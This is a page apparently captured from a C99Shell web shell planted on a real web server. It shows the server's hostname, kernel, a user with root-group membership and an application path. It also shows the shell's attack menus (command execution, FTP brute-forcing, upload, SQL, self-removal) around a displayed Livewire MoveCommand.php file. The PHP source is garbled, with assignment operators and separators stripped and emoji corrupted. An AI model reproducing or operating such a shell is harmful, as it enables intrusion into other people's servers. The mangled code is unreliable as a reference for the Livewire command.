!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/Commands/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MoveCommand.php (2.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire\Commands;

use 
Illuminate\Support\Facades\File;

#[
\AllowDynamicProperties]
class 
MoveCommand extends FileManipulationCommand
{
    protected 
$signature 'livewire:move {name} {new-name} {--force} {--inline}';

    protected 
$description 'Move a Livewire component';

    public function 
handle()
    {
        
$this->parser = new ComponentParser(
            
config('livewire.class_namespace'),
            
config('livewire.view_path'),
            
$this->argument('name')
        );

        
$this->newParser = new ComponentParserFromExistingComponent(
            
config('livewire.class_namespace'),
            
config('livewire.view_path'),
            
$this->argument('new-name'),
            
$this->parser
        
);

        
$inline $this->option('inline');

        
$class $this->renameClass();
        if (! 
$inline$view $this->renameView();

        
$test $this->renameTest();
        
$this->refreshComponentAutodiscovery();

        if (
$class$this->line("<options=bold,reverse;fg=green> COMPONENT MOVED </> ðŸ¤™\n");
        
$class && $this->line("<options=bold;fg=green>CLASS:</> {$this->parser->relativeClassPath()} <options=bold;fg=green>=></> {$this->newParser->relativeClassPath()}");
        if (! 
$inline$view && $this->line("<options=bold;fg=green>VIEW:</>  {$this->parser->relativeViewPath()} <options=bold;fg=green>=></> {$this->newParser->relativeViewPath()}");
        if (
$test$test && $this->line("<options=bold;fg=green>Test:</>  {$this->parser->relativeTestPath()} <options=bold;fg=green>=></> {$this->newParser->relativeTestPath()}");
    }

    protected function 
renameClass()
    {
        if (
File::exists($this->newParser->classPath())) {
            
$this->line("<options=bold,reverse;fg=red> WHOOPS-IE-TOOTLES </> ðŸ˜³ \n");
            
$this->line("<fg=red;options=bold>Class already exists:</> {$this->newParser->relativeClassPath()}");

            return 
false;
        }

        
$this->ensureDirectoryExists($this->newParser->classPath());

        
File::put($this->newParser->classPath(), $this->newParser->classContents());

        return 
File::delete($this->parser->classPath());
    }

    protected function 
renameView()
    {
        
$newViewPath $this->newParser->viewPath();

        if (
File::exists($newViewPath)) {
            
$this->line("<fg=red;options=bold>View already exists:</> {$this->newParser->relativeViewPath()}");

            return 
false;
        }

        
$this->ensureDirectoryExists($newViewPath);

        
File::move($this->parser->viewPath(), $newViewPath);

        return 
$newViewPath;
    }

    protected function 
renameTest()
    {
        
$oldTestPath $this->parser->testPath();
        
$newTestPath $this->newParser->testPath();

        if (!
File::exists($oldTestPath) || File::exists($newTestPath)) {
            return 
false;
        }

        
$this->ensureDirectoryExists($newTestPath);
        
File::move($oldTestPath$newTestPath);
        return 
$newTestPath;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--